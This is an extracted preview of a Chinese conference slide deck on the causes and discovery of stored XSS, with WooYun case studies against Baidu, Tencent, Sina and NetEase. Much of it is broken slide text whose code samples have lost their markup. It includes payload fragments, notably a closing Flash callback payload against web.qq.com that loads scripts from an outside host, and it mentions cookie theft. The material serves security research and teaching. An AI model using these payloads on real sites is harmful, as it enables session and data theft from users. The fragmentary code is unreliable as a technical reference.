资源预览内容
第1页 / 共25页
第2页 / 共25页
第3页 / 共25页
第4页 / 共25页
第5页 / 共25页
第6页 / 共25页
第7页 / 共25页
第8页 / 共25页
第9页 / 共25页
第10页 / 共25页
亲,该文档总共25页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述
存储型XSS的成因及挖掘方法,USERID: Gainover (g_live.com)GROUP: PKAV Group,2012-7-28,www.pkav.net,| www.wooyun.org,| www.toolmao.com,什么是XSS攻击?,攻击者,注入恶意代码,查看他人资料查看一篇日志查看一条留言查看一个评论查看一个问题查看一个答案点开一个链接点开一个邮件,恶意代码执行,受害者,XSS模型,当受害者变为攻击者时,下一轮受害者将更容易被攻击,威力更加明显!,用户信息,私密信息:日志,相片,邮件,管理信息,后台地址,管理员帐号信息甚至直接通过Ajax上传Shell,客户端信息,针对浏览器缺陷实施攻击,突破浏览器的域限制,360, 傲游等浏览器的命令执行,XSS,Xss蠕虫攻击,DDoS攻击,XSS攻击可以用来做什么?,恶意代码存放位置,地址栏,数据库,恶意代码效果,用户点击恶意链接打开时执行恶意代码,隐蔽性差,http:/www.wooyun.org,用户浏览带有恶意代码的正常页面时触发,隐蔽性强,http:/pkav.net,Non-persistent,Persistent,反射型XSS,XSS Filter,扫描器,WAF产品,但是危害越来越小.,但是容易被扫.,但是容易被干掉,存储型XSS,广泛存在,输出内容,输出未过滤,HTML-Context,JS-Context,Css-Context,输出已过滤,Dom-Based操作,eval,innerHTML,setTimeout,setInterval,document.write,根据输出内容所处的位置来分类。,经常需要二次过滤,但程序员忽略掉了。,会自动发生一些转义,Flash-based XSS,其它/HTML文件,wooyun-2010-07831 (random_) 百度某分站存储型XSS,恶意代码的输入,恶意代码的输出,恶意代码的执行, 替换为 < >,判断存在 ,禁止提交,wooyun-2010-09111 (gainover) 点点网存储型XSS,JS-Context 存储型XSS的利用方式:,闭合当前脚本,然后输入自定义内容。,2. 根据JS上下文,构造正确的闭合。,过滤 ,/,替换为 (网易邮箱),根据实际情况,进行过滤。通常输出是字符串,在和之间,过滤,即可,wooyun-2010-02321(Clouds) 百度贴吧存储型XSS,和中的XSS一样,过滤 和 ,而实际上,在HTML的属性里,NNN; 或 NN;也是可以被执行的!,进一步构造利用代码,还需要将&过滤为&,通常情况下,可能会将过滤掉了,因而无法使用此方式,1. 如果未做过滤,可以用 的方式来调用,CSS-Context 存储型XSS的利用方式:,2. 直接根据CSS上下文构造闭合,根据CSS类型对输出进行严格纠正例如:字体大小,必须为数字,图片地址不允许出现非法字符,IE 6, 7, 8,wooyun-2010-05967 (gainover, QQ空间存储型XSS),wooyun-2010-01101 (呆子不开口, 网易微博换肤XSS),5. http:/zone.wooyun.org/content/465,除了.中可以被写入CSS数据之外,还有其它位置也可以:,2. ,3. import data:,*%7bx:expression(if(!window.x)%7balert(1);window.x=1%7d)%7D;,1. ,4. XXX,(邮箱XSS的最爱),(部分内容参考html5sec.org),数据输出, 我是输出 ,var x=$(x).value;var x=$(x).getAttribute(picurl);,var obj=eval(+x+);$(result).innerHTML=x;,DOM操作,name 字段是昵称,我们可以自行设置!,接着我们做以下测试:,Gainover Gainover<iframe>,对JS熟悉一点的则可能想到:,于是,我们测试引号是否被过滤!,Gainover Gainover",放弃?,var data=$(json).value;,wooyun-2010-09732 (gainover,百度首页XSS后门),这一类漏洞经常出现的场景.,点击查看大图, 点击播放音乐,自动播放音乐。,当用户点击查看大图的时候,执行的代码往往是:,function test()alert($(pic).getAttribute(bigpic);$(bigimage).innerHTML=;,wooyun-2010-02490 (gainover, 腾讯微博XSS),wooyun-2010-03317 (gainover,QQ邮箱音乐功能XSS),共同点:读取自定义属性,然后进行innerHTML操作。,解决方案:在读取属性之后,对属性中的特殊字符进行二次过滤。,.innerHTML=uXXXX 引发的惨案,wooyun-2010-08487 (gainover,腾讯WEBQQ聊天功能XSS),实际案例,大多数厂商的做法,将替换为,将替换为/,对data.name进行二次过滤,替换 为 < >,wooyun-2010-010167 (imlonghao, 搜狐微博 XSS),Flash XSS,存储型,反射型,正常的存储行为,图片上传组件,视频播放器,音乐播放器,日志HTML未过滤,或过滤不严,FLASH相册,对加载图片未判断,其它一些有加载图片功能的FLASH应用,第三方插件,第三方应用,sameDomain策略,常规的Flash-based存储型XSS,1. 最低级的漏洞Always & FLASH地址任何填写,wooyun-2010-07684 (gainover, QQ空间礼物功能XSS)wooyun-2010-08354 (gainover,百度贴吧存储型XSS),2. 稍微进化一点Always & FLASH地址固定 &FLASH会调用外部图片或SWF文件,正常的FLASH,恶意FLASH,参数?url=xxx.jpg,读取配置文件,xxx.jpg,wooyun-2010-01768 (p.z, 新浪微博存储型XSS)wooyun-2010-01634 (p.z, 百度i贴吧存储型XSS),3. 再次进化一点sameDomain + 同域名下反射型FLASH XSS,sameDomain策略,只允许使用同域名下的FLASH文件,无法执行了吧,高枕无忧,同域名下的缺陷型FLASH文件,不同域名下的恶意FLASH文件,程序员 B,程序员 A,被恶意利用,同域名下允许上传FLASH文件,某黑客,wooyun-2010-03314 (gainover, QQ邮箱XSS),wooyun-2010-06103 (gainover, QQ空间存储型XSS),allowscriptaccess=sameDomainallowscriptaccess 默认属性,loaderInfo.parameters,xxx.swf?func = JS代码,flashvars=func=JS代码,App.baidu.com,百度应用,iframe,xxx.duapp.com,iframe,App.baidu.com/xxx.swf,合法的存储行为,开发者,developer.com,.,黑客(本身是开发者),攻击,反射型FLASH XSS,1. FLASH开发人员缺乏安全意识(jwplayer, open flash chart, swfupload类程序),2. FLASH XSS 可以绕过主流浏览器的XSS Filter,3. 传统扫描器不易扫描,WooYun-2012-07050,Wooyun-2010-07085,(新浪微博,淘宝网Cookies盗取),Wooyun-2010-08318(gainover,百度应用XSS),受害者,http:/xsst.sinaapp.com/webqqbg.php,Iframe调用,http:/web.qq.com/swf/FileUploader.swf?callback=(function()function j(w)window.s=document.createElement(script);window.s.src=/xsst.sinaapp.com/%2bw%2b.js;document.body.appendChild(window.s)j(jq);j(wq)(),
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号